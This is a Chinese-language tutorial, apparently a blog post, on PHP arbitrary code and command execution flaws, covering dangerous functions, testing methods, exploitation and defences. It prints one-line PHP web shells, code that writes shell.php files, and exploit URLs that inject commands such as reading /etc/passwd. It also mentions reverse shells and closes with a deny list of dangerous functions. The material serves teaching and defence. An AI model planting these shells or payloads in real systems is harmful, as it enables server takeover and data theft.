任意代碼執行漏洞
漏洞原理
應用程序在調用一些能夠將字符串轉換為代碼的函數(例如php中的eval中),沒有考慮用戶是否控制這個字符串,將造成代碼執行漏洞。
-
幾種常用函數語言,都有將字符串轉化成代碼去執行的相關函數。
-
PHP ===> eval( ),assert( )
-
Python ===> exec( )
-
Asp ===> <%=CreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll()%>
舉個例子來說: 后台的代碼這么寫<?php system($_GET['cmd']); ?>
,就是通過get傳入一個參數,這里的cmd參數是可以直接控制,那么我們可以通過發送請求 http://127.0.0.1:8080/?cmd=ls 來讓ls命令運行
漏洞函數
常見代碼執行函數,如
eval() assert()
preg_replace() create_function()
array_map() call_user_func()
call_user_func_array() array_filter
usort uasort()
文件操作函數 動態函數(a(a(b))
1、eval()
eval() 函數把字符串按照 PHP 代碼來計算,如常見的一句話后門程序:<?php eval($_POST[cmd])?>
2、assert()
與eval類似,字符串被 assert() 當做 PHP 代碼來執行,如:
示例代碼:
<?php
//?cmd=phpinfo() assert($_REQUEST[cmd]); ?>
eval與assert區別
eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數為表達式 (或者為函數),如:
assert(phpinfo())
3、preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement進行替換。
preg_replace()函數原本是執行一個正則表達式的搜索和替換,但因為存在危險的/e修飾符,使 preg_replace() 將 replacement 參數當作 PHP 代碼
示例代碼:
<?php
//?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
4、create_function()
create_function主要用來創建匿名函數,如果沒有嚴格對參數傳遞進行過濾,攻擊者可以構造特殊字符串傳遞給create_function()執行任意命令。
代碼示例:
<?php
//?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>
參考鏈接:
代碼安全:PHP create_function()注入命令執行漏洞
http://www.cnseay.com/1901/
http://lovexm.blog.51cto.com/3567383/1743442
http://qqhack8.blog.163.com/blog/static/11414798520153795157139/
5、array_map()
array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用后的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。
代碼示例:
<?php
//?func=system&cmd=whoami $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>
6、call_user_func()/call_user_func_array ()
call_user_func — 把第一個參數作為回調函數調用,其余參數是回調函數的參數。
call_user_func_array — 調用回調函數,並把一個數組參數作為回調函數的參數
<?php
//?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?> <?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>
7、array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次將 array 數組中的每個值傳遞到 callback 函數。如果 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。
<?php
//?func=system&cmd=whoami $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>
8、usort()、uasort()
usort() 通過用戶自定義的比較函數對數組進行排序。
uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。
代碼示例:
php環境>=5.6才能用 <?php usort(...$_GET);?> 利用方式: test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert [POST]:x=phpinfo(); php環境>=<5.6才能用 <?php usort($_GET,'asse'.'rt');?> 利用方式: test.php?1=1+1&2=eval($_POST[x]) [POST]:x=phpinfo();
源自:https://www.wd0g.com/?p=190
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
9、文件操作函數
file_put_contents() 函數把一個字符串寫入文件中。
fputs() 函數寫入文件
代碼示例:
<?php
$test='<?php eval($_POST[cmd]);?>'; file_put_contents('test1.php',$test); ?> <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); ?>
10、動態函數
PHP函數直接由字符串拼接
代碼示例:
<?php
//?a=assert&b=phpinfo() $_GET['a']($_GET['b']); ?>
漏洞發現
現實場景中很少會發現此類漏洞,這是因為大部分情況下代碼業務主要是數據操作、文件操作、邏輯處理和api接口調用等,很少直接使用系統命令。需要通過手工測試的方式先定位到哪些業務功能有可能使用到了外部程序,然后進一步構造payload進行攻擊。
一般挖掘漏洞都可以分為 黑盒,白盒 和灰盒挖掘。
白盒測試
可以代碼審計的話,直接搜索含有常用的調用函數system、exec、shell_exec、passthru、pcntl_exec、 popen、proc_open,以及反引號也可以執行命令。然后聯系上下文看看有沒有課控制的輸入參數,可控制的點指的是,我們可以傳入參數,如果在代 碼里寫死了命令<?php system("ipconfig"):?>
就是無法利用的,針對可控制的參數,在進一步繞過過濾限制。
黑盒測試
黑盒挖掘任意命令執行漏洞要點在於找到可能調用第三方命令的業務場景,很多時候要半蒙半猜的去想后台代碼是什么樣的。通常在圖片處理、大文件壓縮、 文件格式轉化、日志處理以及數據庫導出等功能比較容易調用一些小腳本進行輔助處理。能夠確定某個業務模塊使用到了第三方工具,就可以進一步對命令注入語句 進行分析,是否存在各種限制,最常見的用各種fuzz推測后端對輸入進行了哪些限制,對其進行相應的繞過。構造出可以利用的payload。
此外,應該盡量多的收集目標使用的各種組件信息,查找以往是否有暴過任意命令執行漏洞,測下是否在目標上依然存在這些漏洞。
漏洞利用
總的來說就是,任意命令執行就是程序調用到了exec這樣的函數來執行,那么我們要利用的話,,首先是,1 代碼中存在調用系統命令的函數 2.函數中存在我們可控的點 3.可控點沒有過濾,或過濾不嚴格。
如下php代碼段:
2 $from = $request['from'];
3 $to = $request['to'];
4 $tmp = '/tmp/act_css_tmp_' . $uri;
5 system("/usr/bin/wget $from -O $tmp");
$request
變量來自於用戶URL的輸入,最終進入到system函數里作為命令來執行,但是這段代碼沒有安全處理用戶的輸入,任意用戶都可以通過如下URL來在機上執行自己的命令,
php?cmd=1190&func=sync_css&uri=hi&from=;cat /etc/passwd;&to=hi&1=2
最后導致系統的淪陷。
命令執行漏洞有如下的利用
- 存在回顯示的話,可以直接讀取各種配置文件,密碼文件,數據庫連接文件等等
- 遇到不回顯的情況,最可靠的方法使用時間延遲推斷,類似與盲注的方法。通過一些命令的延時作用來判斷漏洞的存在,例如ping命令
- 不能在瀏覽器直接看到回顯,可將命令重定向到當前目錄下的文件中並查看。或者用TFTP上傳工具到服務器,用telnet和netcat建立反向shell,用mail通過SMTP發送結果給自己的計算機
- 查看自己的權限,可以提升自己權限,訪問敏感數據或控制服務器。
漏洞防御
1、使用json保存數組,當讀取時就不需要使用eval了
2、對於必須使用eval的地方,一定嚴格處理用戶數據(白名單、黑名單)
3、字符串使用單引號包括可控代碼,插入前使用addslashes轉義(addslashes、魔數引號、htmlspecialchars、 htmlentities、mysql_real_escape_string)
4、放棄使用preg_replace的e修飾符,使用preg_replace_callback()替換(preg_replace_callback())
5、若必須使用preg_replace的e修飾符,則必用單引號包裹正則匹配出的對象(preg_replace+正則)
6.盡量少的調用執行系統命令的函數,通過黑名單的方式過濾敏感函數,如在PHP的配置文件php.ini中禁止一部分危險函數。 disable_functions=system,passthru,shell_exec,exec,popen,白名單的方式對特殊輸入的類型/長 度進行限制。
7.對開發者要執行特定系統命令,必須把命令轉換成一個字符串,然后傳給執行者(也就是 shell ),然后 shell 再解析,這個傳遞過程就可能會出現信息傳遞不對等的問題,就很容易造成實際執行命令和預期執行的產生差別。
8.如果非要使用到該功能,盡量使用 pcntl_exec 這類可以限制一次只執行一條命令並且參數為數組傳入的函數而不是 system 這種直接調用 sh 去執行命令的函數,同事在執行系統命令的時候檢查用戶輸入參數(即可控部分),在使用 pcntl_exec 之前也需要小心地檢查被執行的命令是否存在執行子命令的可能。